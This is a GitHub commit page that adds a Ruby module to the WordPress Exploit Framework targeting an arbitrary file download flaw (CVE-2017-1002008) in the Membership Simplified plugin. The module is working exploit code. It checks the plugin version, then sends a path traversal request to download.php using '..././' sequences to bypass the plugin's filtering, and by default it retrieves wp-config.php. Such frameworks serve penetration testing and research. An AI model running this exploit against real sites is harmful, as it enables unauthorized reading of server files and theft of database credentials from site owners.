Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 02deae6

Browse files
committed
Add Membership Simplified <= 1.58 arbitrary file download
1 parent d64ad60 commit 02deae6

File tree

1 file changed

+47
-0
lines changed

1 file changed

+47
-0
lines changed
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
class Wpxf::Auxiliary::MembershipSimplifiedArbitraryFileDownload < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Membership Simplified <= 1.58 Arbitrary File Download',
9+
desc: %(
10+
This module exploits a vulnerability which allows you to download any arbitrary file accessible
11+
by the user the web server is running as. Relative paths must use "..././" as opposed to "../",
12+
in order to bypass mitigation within the plugin.
13+
),
14+
author: [
15+
'Larry W. Cashdollar', # Disclosure
16+
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
],
18+
references: [
19+
['CVE', '2017-1002008'],
20+
['WPVDB', '8777'],
21+
['URL', 'http://www.vapidlabs.com/advisory.php?v=187']
22+
],
23+
date: 'Mar 13 2017'
24+
)
25+
end
26+
27+
def check
28+
changelog = normalize_uri(wordpress_url_plugins, 'membership-simplified-for-oap-members-only', 'readme.txt')
29+
check_version_from_custom_file(changelog, /\=\s+Beta\s+(\d+\.\d+(\.\d+)*)\s+\=/, '1.59')
30+
end
31+
32+
def default_remote_file_path
33+
'..././..././..././wp-config.php'
34+
end
35+
36+
def working_directory
37+
'wp-content/plugins/membership-simplified-for-oap-members-only'
38+
end
39+
40+
def downloader_url
41+
normalize_uri(wordpress_url_plugins, 'membership-simplified-for-oap-members-only', 'download.php')
42+
end
43+
44+
def download_request_params
45+
{ 'download_file' => remote_file }
46+
end
47+
end

0 commit comments

Comments
 (0)